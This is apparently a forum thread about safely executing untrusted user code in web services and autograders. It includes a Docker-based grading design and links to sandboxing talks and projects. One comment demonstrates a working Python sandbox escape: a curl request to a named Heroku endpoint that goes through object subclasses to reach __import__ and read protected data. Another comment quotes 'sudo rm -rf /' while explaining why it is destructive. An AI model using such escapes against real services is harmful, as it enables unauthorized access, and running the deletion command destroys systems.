edit: Your specific protection appears to be `__builtins__ = None` and otherwise run in the same interpreter. It is very naive. Here is an example hack that gets to your "secret data":

    $ curl -H Content-Type:application/json -d '{"code": "res = [c for c in ().__class__.__base__.__subclasses__() if c.__name__ == \"catch_warnings\"][0]()._module.__builtins__[\"__import__\"](\"play\").data"}' https://api-run-code.herokuapp.com/execute
    {"res":{"a":33}}

The method I use for my autograder research platform is:

1) Build a test suite as a JSON string that gets passed to queue; on the student's side, they're given a Job ID that will check every few seconds on the job's status

2) When its their turn, I pass the submission to a Docker image

3) The docker image dumps the student's code into a "submission.py" file and then dynamically builds the test cases based on what came in the JSON file (using Python's unittest library)

3) Save the code's test results to my DB and mark the job ID as "done"

4) Once the student's AJAX request sees a "done", it also returns the test results as a JSON string, which is then parsed on to the screen

In terms of "safety", the big issues you'll need to test for are making sure that Docker does not have root access. Try to dig up some Docker vulnerabilities to poke holes in your system. You can also whitelist only a select number of libraries so users don't go importing things with vulnerabilities.

  - Giles Thomas - Lessons Learned from Serving 1/4 million in-browser Python Consoles with Tornado - EuroPython2013
    - Link: https://www.youtube.com/watch?v=U_qp8u_BH_E
    - Description: Giles is from PythonAnywhere, the author of [Interactive shells on Python.org](https://blog.pythonanywhere.com/83/) blog post.

    - PythonAnywhere uses:
      - SockJS:
      - Repo: https://github.com/sockjs
      - pty (Python built-in module) for handling pseudo-terminals (with pty.fork):
        - Docs: https://docs.python.org/3.7/library/pty.html
      - epoll (Tornado's IOLoop.add_handler for async):
        - Docs: https://www.tornadoweb.org/en/stable/

  - Xterm.js: Terminal on the browser at https://xtermjs.org/

  - Jessica McKellar: Building and Breaking a Python Sandbox - Pycon 2014:
    - Link: https://www.youtube.com/watch?v=sL_syMmRkoU
    - pysandbox (author recommends running Python in a sandbox, not the opposite)

  - Interactive Shells on Python.org:
    - Link: https://blog.pythonanywhere.com/83/


  - CodeSandbox: Online web application editor (Angular, React, Vue, Vanilla JS)
    - Website: https://codesandbox.io/
    - Repo: https://github.com/codesandbox/codesandbox-client


  - Kaggle:

    - Description: Kaggle's infrastructure and systems allow for arbitrary code execution and scoring. It would be good to check it out and see what they get right.

    - Kaggle Learntools:
      - Purpose: Check exercises and notebooks submitted by users
      - Link: https://github.com/Kaggle/learntools

    - Kaggle Docker:
      - Purpose: Kaggle Python docker image
      - Link: https://github.com/Kaggle/docker-python/

    - Kaggle Infrastructure (Lessons Learned from Tens of Thousands of Kaggle Notebooks):
      - Link: https://www.youtube.com/watch?v=ENPBTl0uNOE

  - Miscellaneous Links:
    - Jinja has a sandboxed environment:
      - Link: https://github.com/pallets/jinja/blob/master/jinja2/sandbox.py

That post is old and not very detailed, so maybe I'm misinterpreting it.

1. https://blog.replit.com/api-docs

from the page: "Our old code execution API has been deprecated."

That would be the perfect solution to this, that's for sharing! Hopefully they'll launch something new soon!

They have already figured out how to isolate functions from harming the host system, and they've solved the issue of potentially infinite execution time.

As an app, you would not send users to AWS Lambda right?

rm -> remove/delete the given file

-r -> recursively delete files and subdirectories

-f -> remove forcefully without command prompt, specifically useful when deleting unwritable files

/ -> the root partition, basically the base of the entire system

When combined, it's dangerous because it could delete every file and directory on the root. I'm not sure, but I think you would need superuser (sudo) privileges to do so, but I'm not gonna test it:

sudo rm -rf /

Here's more on rm: https://www.geeksforgeeks.org/rm-rf-command-in-linux-with-ex...